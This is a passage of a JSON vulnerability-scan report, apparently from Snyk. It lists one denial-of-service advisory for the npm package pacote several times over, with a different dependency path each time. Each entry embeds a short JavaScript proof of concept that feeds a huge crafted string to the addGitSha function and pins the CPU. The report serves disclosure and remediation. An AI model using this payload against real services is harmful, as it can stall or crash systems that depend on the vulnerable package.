"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n",
"epssDetails": {
"percentile": "0.25940",
"probability": "0.00346",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9496"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "pacote",
"proprietary": true,
"creationTime": "2024-10-17T10:34:46.482142Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-16T16:02:48Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-05-25T09:33:02.725240Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-06T14:03:36.496389Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "pacote",
"version": "19.0.2"
},
{
"id": "SNYK-JS-PACOTE-8225084",
"title": "Denial of Service (DoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
">=11.2.7 <21.5.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"21.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "pacote",
"references": [
{
"url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508",
"title": "GitHub Commit"
},
{
"url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-24T05:38:13.558341Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2026-06-26T11:01:41.662043Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-06T14:03:36.496389Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
